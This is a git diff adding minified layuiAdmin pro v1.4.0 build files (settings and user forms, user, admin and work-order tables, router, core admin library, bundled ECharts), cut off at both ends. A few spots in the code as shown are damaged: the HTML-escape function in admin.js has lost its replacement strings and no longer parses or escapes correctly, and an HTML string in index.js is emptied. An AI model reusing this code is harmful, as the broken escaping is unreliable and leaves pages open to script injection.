江苏",value:49110.27},{name:"广东",value:53210.28,selected:!0}]}]}],n=e("#LAY-index-plat").children("div"),l=function(e){t[e]=a.init(n[e],layui.echartsTheme),t[e].setOption(i[e]),window.onresize=t[e].resize};n[0]&&l(0)}),e("senior",{})}); \ No newline at end of file diff --git a/dist/controller/set.js b/dist/controller/set.js new file mode 100644 index 0000000..ec7acfe --- /dev/null +++ b/dist/controller/set.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(["form","upload"],function(t){var i=layui.$,e=layui.layer,n=(layui.laytpl,layui.setter,layui.view,layui.admin),a=layui.form,s=layui.upload;i("body");a.render(),a.verify({nickname:function(t,i){return new RegExp("^[a-zA-Z0-9_一-龥\\s·]+$").test(t)?/(^\_)|(\__)|(\_+$)/.test(t)?"用户名首尾不能出现下划线'_'":/^\d+\d+\d$/.test(t)?"用户名不能全为数字":void 0:"用户名不能有特殊字符"},pass:[/^[\S]{6,12}$/,"密码必须6到12位,且不能出现空格"],repass:function(t){if(t!==i("#LAY_password").val())return"两次密码输入不一致"}}),a.on("submit(set_website)",function(t){return e.msg(JSON.stringify(t.field)),!1}),a.on("submit(set_system_email)",function(t){return e.msg(JSON.stringify(t.field)),!1}),a.on("submit(setmyinfo)",function(t){return e.msg(JSON.stringify(t.field)),!1});var r=i("#LAY_avatarSrc");s.render({url:"/api/upload/",elem:"#LAY_avatarUpload",done:function(t){0==t.status?r.val(t.url):e.msg(t.msg,{icon:5})}}),n.events.avartatPreview=function(t){var i=r.val();e.photos({photos:{title:"查看头像",data:[{src:i}]},shade:.01,closeBtn:1,anim:5})},a.on("submit(setmypass)",function(t){return e.msg(JSON.stringify(t.field)),!1}),t("set",{})}); \ No newline at end of file diff --git a/dist/controller/user.js b/dist/controller/user.js new file mode 100644 index 0000000..9b93317 --- /dev/null +++ b/dist/controller/user.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define("form",function(e){var t=layui.$,i=(layui.layer,layui.laytpl,layui.setter,layui.view,layui.admin,layui.form),a=t("body");i.verify({nickname:function(e,t){return new RegExp("^[a-zA-Z0-9_一-龥\\s·]+$").test(e)?/(^\_)|(\__)|(\_+$)/.test(e)?"用户名首尾不能出现下划线'_'":/^\d+\d+\d$/.test(e)?"用户名不能全为数字":void 0:"用户名不能有特殊字符"},pass:[/^[\S]{6,12}$/,"密码必须6到12位,且不能出现空格"]}),a.on("click","#LAY-user-get-vercode",function(){t(this);this.src="https://www.oschina.net/action/user/captcha?t="+(new Date).getTime()}),e("user",{})}); \ No newline at end of file diff --git a/dist/controller/useradmin.js b/dist/controller/useradmin.js new file mode 100644 index 0000000..ea40c9e --- /dev/null +++ b/dist/controller/useradmin.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(["table","form"],function(e){var i=(layui.$,layui.admin),t=layui.view,l=layui.table,r=layui.form;l.render({elem:"#LAY-user-manage",url:"./json/useradmin/webuser.js",cols:[[{type:"checkbox",fixed:"left"},{field:"id",width:100,title:"ID",sort:!0},{field:"username",title:"用户名",minWidth:100},{field:"avatar",title:"头像",width:100,templet:"#imgTpl"},{field:"phone",title:"手机"},{field:"email",title:"邮箱"},{field:"sex",width:80,title:"性别"},{field:"ip",title:"IP"},{field:"jointime",title:"加入时间",sort:!0},{title:"操作",width:150,align:"center",fixed:"right",toolbar:"#table-useradmin-webuser"}]],page:!0,limit:30,height:"full-320",text:"对不起,加载出现异常!"}),l.on("tool(LAY-user-manage)",function(e){var l=e.data;"del"===e.event?layer.prompt({formType:1,title:"敏感操作,请验证口令"},function(i,t){layer.close(t),layer.confirm("真的删除行么",function(i){e.del(),layer.close(i)})}):"edit"===e.event&&i.popup({title:"编辑用户",area:["500px","450px"],id:"LAY-popup-user-add",success:function(e,i){t(this.id).render("user/user/userform",l).done(function(){r.render(null,"layuiadmin-form-useradmin"),r.on("submit(LAY-user-front-submit)",function(e){e.field;layui.table.reload("LAY-user-manage"),layer.close(i)})})}})}),l.render({elem:"#LAY-user-back-manage",url:"./json/useradmin/mangadmin.js",cols:[[{type:"checkbox",fixed:"left"},{field:"id",width:80,title:"ID",sort:!0},{field:"loginname",title:"登录名"},{field:"telphone",title:"手机"},{field:"email",title:"邮箱"},{field:"role",title:"角色"},{field:"jointime",title:"加入时间",sort:!0},{field:"check",title:"审核状态",templet:"#buttonTpl",minWidth:80,align:"center"},{title:"操作",width:150,align:"center",fixed:"right",toolbar:"#table-useradmin-admin"}]],text:"对不起,加载出现异常!"}),l.on("tool(LAY-user-back-manage)",function(e){var l=e.data;"del"===e.event?layer.prompt({formType:1,title:"敏感操作,请验证口令"},function(i,t){layer.close(t),layer.confirm("确定删除此管理员?",function(i){console.log(e),e.del(),layer.close(i)})}):"edit"===e.event&&i.popup({title:"编辑管理员",area:["420px","450px"],id:"LAY-popup-user-add",success:function(e,i){t(this.id).render("user/administrators/adminform",l).done(function(){r.render(null,"layuiadmin-form-admin"),r.on("submit(LAY-user-back-submit)",function(e){e.field;layui.table.reload("LAY-user-back-manage"),layer.close(i)})})}})}),l.render({elem:"#LAY-user-back-role",url:"./json/useradmin/role.js",cols:[[{type:"checkbox",fixed:"left"},{field:"id",width:80,title:"ID",sort:!0},{field:"rolename",title:"角色名"},{field:"limits",title:"拥有权限"},{field:"descr",title:"具体描述"},{title:"操作",width:150,align:"center",fixed:"right",toolbar:"#table-useradmin-admin"}]],text:"对不起,加载出现异常!"}),l.on("tool(LAY-user-back-role)",function(e){var l=e.data;"del"===e.event?layer.confirm("确定删除此角色?",function(i){e.del(),layer.close(i)}):"edit"===e.event&&i.popup({title:"添加新角色",area:["500px","480px"],id:"LAY-popup-user-add",success:function(e,i){t(this.id).render("user/administrators/roleform",l).done(function(){r.render(null,"layuiadmin-form-role"),r.on("submit(LAY-user-role-submit)",function(e){e.field;layui.table.reload("LAY-user-back-role"),layer.close(i)})})}})}),e("useradmin",{})}); \ No newline at end of file diff --git a/dist/controller/workorder.js b/dist/controller/workorder.js new file mode 100644 index 0000000..4c0dad8 --- /dev/null +++ b/dist/controller/workorder.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(["table","form","element"],function(e){var t=(layui.$,layui.admin),i=layui.view,r=layui.table,l=layui.form,o=layui.element;r.render({elem:"#LAY-app-workorder",url:"./json/workorder/demo.js",cols:[[{type:"numbers",fixed:"left"},{field:"orderid",width:100,title:"工单号",sort:!0},{field:"attr",width:100,title:"业务性质"},{field:"title",width:100,title:"工单标题",width:300},{field:"progress",title:"进度",width:200,align:"center",templet:"#progressTpl"},{field:"submit",width:100,title:"提交者"},{field:"accept",width:100,title:"受理人员"},{field:"state",title:"工单状态",templet:"#buttonTpl",minWidth:80,align:"center"},{title:"操作",align:"center",fixed:"right",toolbar:"#table-system-order"}]],page:!0,limit:10,limits:[10,15,20,25,30],text:"对不起,加载出现异常!",done:function(){o.render("progress")}}),r.on("tool(LAY-app-workorder)",function(e){e.data;"edit"===e.event&&t.popup({title:"编辑工单",area:["450px","450px"],id:"LAY-popup-workorder-add",success:function(e,t){i(this.id).render("app/workorder/listform").done(function(){l.render(null,"layuiadmin-form-workorder"),l.on("submit(LAY-app-workorder-submit)",function(e){e.field;layui.table.reload("LAY-app-workorder"),layer.close(t)})})}})}),e("workorder",{})}); \ No newline at end of file diff --git a/dist/index.js b/dist/index.js new file mode 100644 index 0000000..fce4872 --- /dev/null +++ b/dist/index.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.extend({setter:"config",admin:"lib/admin",view:"lib/view"}).define(["setter","admin"],function(e){var a=layui.setter,n=layui.element,i=layui.admin,t=i.tabsPage,l=layui.view,o=function(){var e=layui.router(),r=e.path,y=i.correctRouter(e.path.join("/"));r.length||(r=[""]),""===r[r.length-1]&&(r[r.length-1]=a.entry);var h=function(e){o.haveInit&&d(".layui-layer").each(function(){var e=d(this),a=e.attr("times");e.hasClass("layui-layim")||layer.close(a)}),o.haveInit=!0,d(s).scrollTop(0),delete t.type};return"tab"===t.type&&("/"!==y||"/"===y&&i.tabsBody().html())?(i.tabsBodyChange(t.index),h(t.type)):(l().render(r.join("/")).then(function(l){var o,r=d("#LAY_app_tabsheader>li");r.each(function(e){var a=d(this),n=a.attr("lay-id");n===y&&(o=!0,t.index=e)}),a.pageTabs&&"/"!==y&&(o||(d(s).append('
'),t.index=r.length,n.tabAdd(u,{title:""+(l.title||"新标签页")+"",id:y,attr:e.href}))),this.container=i.tabsBody(t.index),a.pageTabs||this.container.scrollTop(0),n.tabChange(u,y),i.tabsBodyChange(t.index)}).done(function(){layui.use("common",layui.cache.callback.common),c.on("resize",layui.data.resize),n.render("breadcrumb","breadcrumb"),i.tabsBody(t.index).on("scroll",function(){var e=d(this),a=d(".layui-laydate"),n=d(".layui-layer")[0];a[0]&&(a.each(function(){var e=d(this);e.hasClass("layui-laydate-static")||e.remove()}),e.find("input").blur()),n&&layer.closeAll("tips")})}),void h())},r=function(e){var n,t=layui.router(),r=l(a.container),s=i.correctRouter(t.path.join("/"));if(layui.each(a.indPage,function(e,a){if(s===a)return n=!0}),layui.config({base:a.base+"controller/"}),n||"/user/login"===s)r.render(t.path.join("/")).done(function(){i.pageType="alone"});else{if(a.interceptor){var u=layui.data(a.tableName);if(!u[a.request.tokenName])return location.hash="/user/login/redirect="+encodeURIComponent(s)}"console"===i.pageType?o():r.render("layout").done(function(){o(),layui.element.render(),i.screen()<2&&i.sideFlexible(),i.pageType="console"})}},s="#LAY_app_body",u="layadmin-layout-tabs",d=layui.$,c=d(window);layui.link(a.base+"style/admin.css?v="+(i.v+"-1"),function(){r()},"layuiAdmin"),window.onhashchange=function(){r(),layui.event.call(this,a.MOD_NAME,"hash({*})",layui.router())},layui.each(a.extend,function(e,n){var i={};i[n]="{/}"+a.base+"lib/extend/"+n,layui.extend(i)}),e("index",{render:o})}); \ No newline at end of file diff --git a/dist/lib/admin.js b/dist/lib/admin.js new file mode 100644 index 0000000..38b5b04 --- /dev/null +++ b/dist/lib/admin.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define("view",function(e){var a=layui.jquery,t=layui.laytpl,i=layui.element,n=layui.setter,l=layui.view,s=layui.device(),r=a(window),o=a("body"),u=a("#"+n.container),c="layui-show",d="layui-this",y="layui-disabled",m="#LAY_app_body",f="LAY_app_flexible",h="layadmin-side-spread-sm",p="layadmin-tabsbody-item",v="layui-icon-shrink-right",b="layui-icon-spread-left",g="layadmin-side-shrink",x="LAY-system-side-menu",C={v:"1.4.0 pro",req:l.req,exit:l.exit,escape:function(e){return String(e||"").replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")},on:function(e,a){return layui.onevent.call(this,n.MOD_NAME,e,a)},popup:l.popup,popupRight:function(e){return C.popup.index=layer.open(a.extend({type:1,id:"LAY_adminPopupR",anim:-1,title:!1,closeBtn:!1,offset:"r",shade:.1,shadeClose:!0,skin:"layui-anim layui-anim-rl layui-layer-adminRight",area:"300px"},e))},sendAuthCode:function(e){e=a.extend({seconds:60,elemPhone:"#LAY_phone",elemVercode:"#LAY_vercode"},e);var t,i=e.seconds,n=function(l){var s=a(e.elem);i--,i<0?(s.removeClass(y).html("获取验证码"),i=e.seconds,clearInterval(t)):s.addClass(y).html(i+"秒后重获"),l||(t=setInterval(function(){n(!0)},1e3))};o.off("click",e.elem).on("click",e.elem,function(){e.elemPhone=a(e.elemPhone),e.elemVercode=a(e.elemVercode);var t=e.elemPhone,l=t.val();if(i===e.seconds&&!a(this).hasClass(y)){if(!/^1\d{10}$/.test(l))return t.focus(),layer.msg("请输入正确的手机号");if("object"==typeof e.ajax){var s=e.ajax.success;delete e.ajax.success}C.req(a.extend(!0,{url:"/auth/code",type:"get",data:{phone:l},success:function(a){layer.msg("验证码已发送至你的手机,请注意查收",{icon:1,shade:0}),e.elemVercode.focus(),n(),s&&s(a)}},e.ajax))}})},screen:function(){var e=r.width();return e>1200?3:e>992?2:e>768?1:0},sideFlexible:function(e){var t=u,i=a("#"+f),l=C.screen();"spread"===e?(i.removeClass(b).addClass(v),l<2?t.addClass(h):t.removeClass(h),t.removeClass(g)):(i.removeClass(v).addClass(b),l<2?t.removeClass(g):t.addClass(g),t.removeClass(h)),layui.event.call(this,n.MOD_NAME,"side({*})",{status:e})},resizeTable:function(e){var t=this,i=function(){t.tabsBody(C.tabsPage.index).find(".layui-table-view").each(function(){var e=a(this).attr("lay-id");layui.table.resize(e)})};layui.table&&(e?setTimeout(i,e):i())},theme:function(e){var i=(n.theme,layui.data(n.tableName)),l="LAY_layadmin_theme",s=document.createElement("style"),r=t([".layui-side-menu,",".layadmin-pagetabs .layui-tab-title li:after,",".layadmin-pagetabs .layui-tab-title li.layui-this:after,",".layui-layer-admin .layui-layer-title,",".layadmin-side-shrink .layui-side-menu .layui-nav>.layui-nav-item>.layui-nav-child","{background-color:{{d.color.main}} !important;}",".layui-nav-tree .layui-this,",".layui-nav-tree .layui-this>a,",".layui-nav-tree .layui-nav-child dd.layui-this,",".layui-nav-tree .layui-nav-child dd.layui-this a","{background-color:{{d.color.selected}} !important;}",".layui-layout-admin .layui-logo{background-color:{{d.color.logo || d.color.main}} !important;}","{{# if(d.color.header){ }}",".layui-layout-admin .layui-header{background-color:{{ d.color.header }};}",".layui-layout-admin .layui-header a,",".layui-layout-admin .layui-header a cite{color: #f8f8f8;}",".layui-layout-admin .layui-header a:hover{color: #fff;}",".layui-layout-admin .layui-header .layui-nav .layui-nav-more{border-top-color: #fbfbfb;}",".layui-layout-admin .layui-header .layui-nav .layui-nav-mored{border-color: transparent; border-bottom-color: #fbfbfb;}",".layui-layout-admin .layui-header .layui-nav .layui-this:after, .layui-layout-admin .layui-header .layui-nav-bar{background-color: #fff; background-color: rgba(255,255,255,.5);}",".layadmin-pagetabs .layui-tab-title li:after{display: none;}","{{# } }}"].join("")).render(e=a.extend({},i.theme,e)),u=document.getElementById(l);"styleSheet"in s?(s.setAttribute("type","text/css"),s.styleSheet.cssText=r):s.innerHTML=r,s.id=l,u&&o[0].removeChild(u),o[0].appendChild(s),o.attr("layadmin-themealias",e.color.alias),i.theme=i.theme||{},layui.each(e,function(e,a){i.theme[e]=a}),layui.data(n.tableName,{key:"theme",value:i.theme})},initTheme:function(e){var a=n.theme;e=e||0,a.color[e]&&(a.color[e].index=e,C.theme({color:a.color[e]}))},tabsPage:{},tabsHeader:function(e){return a("#LAY_app_tabsheader").children("li").eq(e||0)},tabsBody:function(e){return a(m).find("."+p).eq(e||0)},tabsBodyChange:function(e){C.tabsHeader(e).attr("lay-attr",layui.router().href),C.tabsBody(e).addClass(c).siblings().removeClass(c),k.rollPage("auto",e)},resize:function(e){var a=layui.router(),t=a.path.join("-");C.resizeFn[t]&&(r.off("resize",C.resizeFn[t]),delete C.resizeFn[t]),"off"!==e&&(e(),C.resizeFn[t]=e,r.on("resize",C.resizeFn[t]))},resizeFn:{},runResize:function(){var e=layui.router(),a=e.path.join("-");C.resizeFn[a]&&C.resizeFn[a]()},delResize:function(){this.resize("off")},closeThisTabs:function(){C.tabsPage.index&&a(z).eq(C.tabsPage.index).find(".layui-tab-close").trigger("click")},fullScreen:function(){var e=document.documentElement,a=e.requestFullScreen||e.webkitRequestFullScreen||e.mozRequestFullScreen||e.msRequestFullscreen;"undefined"!=typeof a&&a&&a.call(e)},exitScreen:function(){document.documentElement;document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen?document.webkitCancelFullScreen():document.msExitFullscreen&&document.msExitFullscreen()},correctRouter:function(e){return/^\//.test(e)||(e="/"+e),e.replace(/^(\/+)/,"/").replace(new RegExp("/"+n.entry+"$"),"/")}},k=C.events={flexible:function(e){var a=e.find("#"+f),t=a.hasClass(b);C.sideFlexible(t?"spread":null),C.resizeTable(350)},refresh:function(){layui.index.render()},serach:function(e){e.off("keypress").on("keypress",function(a){if(this.value.replace(/\s/g,"")&&13===a.keyCode){var t=e.attr("lay-action"),i=e.attr("lay-text")||"搜索";t+=this.value,i=i+' '+C.escape(this.value)+"",location.hash=C.correctRouter(t),k.serach.keys||(k.serach.keys={}),k.serach.keys[C.tabsPage.index]=this.value,this.value===k.serach.keys[C.tabsPage.index]&&k.refresh(e),this.value=""}})},message:function(e){e.find(".layui-badge-dot").remove()},theme:function(){C.popupRight({id:"LAY_adminPopupTheme",success:function(){l(this.id).render("system/theme")}})},note:function(e){var a=C.screen()<2,t=layui.data(n.tableName).note;k.note.index=C.popup({title:"便签",shade:0,offset:["41px",a?null:e.offset().left-250+"px"],anim:-1,id:"LAY_adminNote",skin:"layadmin-note layui-anim layui-anim-upbit",content:'',resize:!1,success:function(e,a){var i=e.find("textarea"),l=void 0===t?"便签中的内容会存储在本地,这样即便你关掉了浏览器,在下次打开时,依然会读取到上一次的记录。是个非常小巧实用的本地备忘录":t;i.val(l).focus().on("keyup",function(){layui.data(n.tableName,{key:"note",value:this.value})})}})},fullscreen:function(e){var a="layui-icon-screen-full",t="layui-icon-screen-restore",i=e.children("i");i.hasClass(a)?(C.fullScreen(),i.addClass(t).removeClass(a)):(C.exitScreen(),i.addClass(a).removeClass(t))},about:function(){C.popupRight({id:"LAY_adminPopupAbout",success:function(){l(this.id).render("system/about")}})},more:function(){C.popupRight({id:"LAY_adminPopupMore",success:function(){l(this.id).render("system/more")}})},back:function(){history.back()},setTheme:function(e){var a=e.data("index");e.siblings(".layui-this").data("index");e.hasClass(d)||(e.addClass(d).siblings(".layui-this").removeClass(d),C.initTheme(a))},rollPage:function(e,t){var i=a("#LAY_app_tabsheader"),n=i.children("li"),l=(i.prop("scrollWidth"),i.outerWidth()),s=parseFloat(i.css("left"));if("left"===e){if(!s&&s<=0)return;var r=-s-l;n.each(function(e,t){var n=a(t),l=n.position().left;if(l>=r)return i.css("left",-l),!1})}else"auto"===e?!function(){var e,r=n.eq(t);if(r[0]){if(e=r.position().left,e<-s)return i.css("left",-e);if(e+r.outerWidth()>=l-s){var o=e+r.outerWidth()-(l-s);n.each(function(e,t){var n=a(t),l=n.position().left;if(l+s>0&&l-s>o)return i.css("left",-l),!1})}}}():n.each(function(e,t){var n=a(t),r=n.position().left;if(r+n.outerWidth()>=l-s)return i.css("left",-r),!1})},leftPage:function(){k.rollPage("left")},rightPage:function(){k.rollPage()},closeThisTabs:function(){C.closeThisTabs()},closeOtherTabs:function(e){var t="LAY-system-pagetabs-remove";"all"===e?(a(z+":gt(0)").remove(),a(m).find("."+p+":gt(0)").remove()):(a(z).each(function(e,i){e&&e!=C.tabsPage.index&&(a(i).addClass(t),C.tabsBody(e).addClass(t))}),a("."+t).remove())},closeAllTabs:function(){k.closeOtherTabs("all"),location.hash=""},shade:function(){C.sideFlexible()},update:function(){a.ajax({type:"get",dataType:"jsonp",data:{name:"layuiAdmin",version:C.v},url:"https://fly.layui.com/api/product_update/",success:function(e){0===e.status?e.version===C.v.replace(/\s|pro|std/g,"")?layer.alert("当前版本已经是最新版本"):layer.alert("检查到更新,是否前往下载?",{btn:["更新","暂不"]},function(e){layer.close(e),layer.open({type:2,content:"https://fly.layui.com/user/product/",area:["100%","100%"],title:"检查更新"})}):1==e.status?layer.alert(e.msg,{btn:["登入","暂不"]},function(e){layer.close(e),layer.open({type:2,content:"https://fly.layui.com/user/login/",area:["100%","100%"],title:"检查更新"})}):layer.msg(e.msg||e.code,{shift:6})},error:function(e){layer.msg("请求异常,请重试",{shift:6})}})}};!function(){var e=layui.data(n.tableName);e.theme?C.theme(e.theme):n.theme&&C.initTheme(n.theme.initColorIndex),o.addClass("layui-layout-body"),C.screen()<1&&delete n.pageTabs,n.pageTabs||u.addClass("layadmin-tabspage-none"),s.ie&&s.ie<10&&l.error("IE"+s.ie+"下访问可能不佳,推荐使用:Chrome / Firefox / Edge 等高级浏览器",{offset:"auto",id:"LAY_errorIE"})}(),C.on("hash(side)",function(e){var t=e.path,i=function(e){return{list:e.children(".layui-nav-child"),name:e.data("name"),jump:e.data("jump")}},n=a("#"+x),l="layui-nav-itemed",s=function(e){var n=C.correctRouter(t.join("/"));e.each(function(e,s){var r=a(s),o=i(r),u=o.list.children("dd"),c=t[0]==o.name||0===e&&!t[0]||o.jump&&n==C.correctRouter(o.jump);if(u.each(function(e,s){var r=a(s),u=i(r),c=u.list.children("dd"),y=t[0]==o.name&&t[1]==u.name||u.jump&&n==C.correctRouter(u.jump);if(c.each(function(e,s){var r=a(s),c=i(r),y=t[0]==o.name&&t[1]==u.name&&t[2]==c.name||c.jump&&n==C.correctRouter(c.jump);if(y){var m=c.list[0]?l:d;return r.addClass(m).siblings().removeClass(m),!1}}),y){var m=u.list[0]?l:d;return r.addClass(m).siblings().removeClass(m),!1}}),c){var y=o.list[0]?l:d;return r.addClass(y).siblings().removeClass(y),!1}})};n.find("."+d).removeClass(d),C.screen()<2&&C.sideFlexible(),s(n.children("li"))}),i.on("nav(layadmin-system-side-menu)",function(e){e.siblings(".layui-nav-child")[0]&&u.hasClass(g)&&(C.sideFlexible("spread"),layer.close(e.data("index"))),C.tabsPage.type="nav"}),i.on("nav(layadmin-pagetabs-nav)",function(e){var a=e.parent();a.removeClass(d),a.parent().removeClass(c)});var F=function(e){var a=e.attr("lay-id"),t=e.attr("lay-attr"),i=e.index();location.hash=a===n.entry?"/":t||"/",C.tabsBodyChange(i)},z="#LAY_app_tabsheader>li";o.on("click",z,function(){var e=a(this),t=e.index();return C.tabsPage.type="tab",C.tabsPage.index=t,"iframe"===e.attr("lay-attr")?C.tabsBodyChange(t):(F(e),C.runResize(),void C.resizeTable())}),i.on("tabDelete(layadmin-layout-tabs)",function(e){var t=a(z+".layui-this");e.index&&C.tabsBody(e.index).remove(),F(t),C.delResize()}),o.on("click","*[lay-href]",function(){var e=a(this),t=e.attr("lay-href"),i=layui.router();C.tabsPage.elem=e,location.hash=C.correctRouter(t),C.correctRouter(t)===i.href&&C.events.refresh()}),o.on("click","*[layadmin-event]",function(){var e=a(this),t=e.attr("layadmin-event");k[t]&&k[t].call(this,e)}),o.on("mouseenter","*[lay-tips]",function(){var e=a(this);if(!e.parent().hasClass("layui-nav-item")||u.hasClass(g)){var t=e.attr("lay-tips"),i=e.attr("lay-offset"),n=e.attr("lay-direction"),l=layer.tips(t,this,{tips:n||1,time:-1,success:function(e,a){i&&e.css("margin-left",i+"px")}});e.data("index",l)}}).on("mouseleave","*[lay-tips]",function(){layer.close(a(this).data("index"))});var A=layui.data.resizeSystem=function(){layer.closeAll("tips"),A.lock||setTimeout(function(){C.sideFlexible(C.screen()<2?"":"spread"),delete A.lock},100),A.lock=!0};r.on("resize",layui.data.resizeSystem),e("admin",C)}); \ No newline at end of file diff --git a/dist/lib/extend/echarts.js b/dist/lib/extend/echarts.js new file mode 100644 index 0000000..7af448c --- /dev/null +++ b/dist/lib/extend/echarts.js @@ -0,0 +1,39 @@ +!function(e){var t,i;!function(){function e(e,t){if(!t)return e;if(0===e.indexOf(".")){var i=t.split("/"),n=e.split("/"),a=i.length-1,o=n.length,r=0,s=0;e:for(var l=0;o>l;l++)switch(n[l]){case"..":if(!(a>r))break e;r++,s++;break;case".":s++;break;default:break e}return i.length=a-r,n=n.slice(s),i.concat(n).join("/")}return e}function n(t){function i(i,r){if("string"==typeof i){var s=n[i];return s||(s=o(e(i,t)),n[i]=s),s}i instanceof Array&&(r=r||function(){},r.apply(this,a(i,r,t)))}var n={};return i}function a(i,n,a){for(var s=[],l=r[a],h=0,m=Math.min(i.length,n.length);m>h;h++){var V,U=e(i[h],a);switch(U){case"require":V=l&&l.require||t;break;case"exports":V=l.exports;break;case"module":V=l;break;default:V=o(U)}s.push(V)}return s}function o(e){var t=r[e];if(!t)throw new Error("No "+e);if(!t.defined){var i=t.factory,n=i.apply(this,a(t.deps||[],i,e));"undefined"!=typeof n&&(t.exports=n),t.defined=1}return t.exports}var r={};i=function(e,t,i){r[e]={id:e,deps:t,factory:i,defined:0,exports:{},require:n(e)}},t=n("")}(),i("echarts",["echarts/echarts"],function(e){return e}),i("echarts/echarts",["require","./config","zrender/tool/util","zrender/tool/event","zrender/tool/env","zrender","zrender/config","./chart/island","./component/toolbox","./component","./component/title","./component/tooltip","./component/legend","./util/ecData","./chart","zrender/tool/color","./component/timeline","zrender/shape/Image","zrender/loadingEffect/Bar","zrender/loadingEffect/Bubble","zrender/loadingEffect/DynamicLine","zrender/loadingEffect/Ring","zrender/loadingEffect/Spin","zrender/loadingEffect/Whirling","./theme/macarons","./theme/infographic"],function(e){function t(){r.Dispatcher.call(this)}function i(e){e.innerHTML="",this._themeConfig={},this.dom=e,this._connected=!1,this._status={dragIn:!1,dragOut:!1,needRefresh:!1},this._curEventType=!1,this._chartList=[],this._messageCenter=new t,this._messageCenterOutSide=new t,this.resize=this.resize(),this._init()}function n(e,t,i,n,a){for(var o=e._chartList,r=o.length;r--;){var s=o[r];"function"==typeof s[t]&&s[t](i,n,a)}}var a=e("./config"),o=e("zrender/tool/util"),r=e("zrender/tool/event"),s={},l=e("zrender/tool/env").canvasSupported,h=new Date-0,m={},V="_echarts_instance_";s.version="2.2.7",s.dependencies={zrender:"2.1.1"},s.init=function(t,n){var a=e("zrender");a.version.replace(".","")-0r;r++){var l=d[r],h=U[l];o[h]="_on"+l.toLowerCase(),i.on(h,this._onzrevent)}this.chart={},this.component={};var m=e("./chart/island");this._island=new m(this._themeConfig,this._messageCenter,i,{},this),this.chart.island=this._island;var V=e("./component/toolbox");this._toolbox=new V(this._themeConfig,this._messageCenter,i,{},this),this.component.toolbox=this._toolbox;var p=e("./component");p.define("title",e("./component/title")),p.define("tooltip",e("./component/tooltip")),p.define("legend",e("./component/legend")),(0===i.getWidth()||0===i.getHeight())&&console.error("Dom’s width & height should be ready before init.")},__onevent:function(e){e.__echartsId=e.__echartsId||this.id;var t=e.__echartsId===this.id;switch(this._curEventType||(this._curEventType=e.type),e.type){case a.EVENT.LEGEND_SELECTED:this._onlegendSelected(e);break;case a.EVENT.DATA_ZOOM:if(!t){var i=this.component.dataZoom;i&&(i.silence(!0),i.absoluteZoom(e.zoom),i.silence(!1))}this._ondataZoom(e);break;case a.EVENT.DATA_RANGE:t&&this._ondataRange(e);break;case a.EVENT.MAGIC_TYPE_CHANGED:if(!t){var n=this.component.toolbox;n&&(n.silence(!0),n.setMagicType(e.magicType),n.silence(!1))}this._onmagicTypeChanged(e);break;case a.EVENT.DATA_VIEW_CHANGED:t&&this._ondataViewChanged(e);break;case a.EVENT.TOOLTIP_HOVER:t&&this._tooltipHover(e);break;case a.EVENT.RESTORE:this._onrestore();break;case a.EVENT.REFRESH:t&&this._onrefresh(e);break;case a.EVENT.TOOLTIP_IN_GRID:case a.EVENT.TOOLTIP_OUT_GRID:if(t){if(this._connected){var o=this.component.grid;o&&(e.x=(e.event.zrenderX-o.getX())/o.getWidth(),e.y=(e.event.zrenderY-o.getY())/o.getHeight())}}else{var o=this.component.grid;o&&this._zr.trigger("mousemove",{connectTrigger:!0,zrenderX:o.getX()+e.x*o.getWidth(),zrenderY:o.getY()+e.y*o.getHeight()})}}if(this._connected&&t&&this._curEventType===e.type){for(var r in this._connected)this._connected[r].connectedEventHandler(e);this._curEventType=null}(!t||!this._connected&&t)&&(this._curEventType=null)},_onclick:function(e){if(n(this,"onclick",e),e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.CLICK,e.event,t,this)}},_ondblclick:function(e){if(n(this,"ondblclick",e),e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.DBLCLICK,e.event,t,this)}},_onmouseover:function(e){if(e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.HOVER,e.event,t,this)}},_onmouseout:function(e){if(e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.MOUSEOUT,e.event,t,this)}},_ondragstart:function(e){this._status={dragIn:!1,dragOut:!1,needRefresh:!1},n(this,"ondragstart",e)},_ondragenter:function(e){n(this,"ondragenter",e)},_ondragover:function(e){n(this,"ondragover",e)},_ondragleave:function(e){n(this,"ondragleave",e)},_ondrop:function(e){n(this,"ondrop",e,this._status),this._island.ondrop(e,this._status)},_ondragend:function(e){if(n(this,"ondragend",e,this._status),this._timeline&&this._timeline.ondragend(e,this._status),this._island.ondragend(e,this._status),this._status.needRefresh){this._syncBackupData(this._option);var 